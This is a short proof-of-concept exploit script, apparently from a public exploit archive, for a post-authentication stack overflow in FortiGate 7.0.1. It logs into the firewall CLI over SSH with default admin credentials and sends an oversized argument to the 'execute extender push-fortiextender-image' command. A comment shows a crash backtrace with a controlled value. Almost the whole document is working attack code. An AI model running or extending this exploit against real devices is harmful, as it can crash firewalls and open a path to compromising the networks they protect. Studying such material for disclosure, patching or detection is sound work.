Fortigate 7.0.1 Stack Overflow

c@ubuntu:~/LABS$ cat fp17.py#!/usr/bin/env python3# fortigate 7.0.1 postauth stack overflow 0day## more: #   https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html# # Pid: 00243, application: newcli, # Firmware: FortiGate-VM64 v7.0.1,build0157b0157,210714 (GA) (Release), # Signal 6 received, Backtrace: # [0x7f498e5f16f0] [0x7f498e5f2d47] [0x7f498e633f47] [0x7f498e6c2c9e] # [0x7f498e6c2c62] [0x01f10f4d] [0x4343434342424242] ## from netmiko import Netmikologin = 'admin'passwd = 'admin'target = '192.168.56.222'fw_01 = {        'host' : target,        'username' : login,        'password' : passwd,        'device_type' : 'fortinet'}print("> connecting to the target: %s" % target)net_connect = Netmiko(**fw_01)# print( net_connect.find_prompt() )payload = 'execute extender push-fortiextender-image 'payload += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD' + 'F'*300 + ' asd'command = payloadfull_config_cmd = net_connect.send_command( command )print(full_config_cmd)print("done")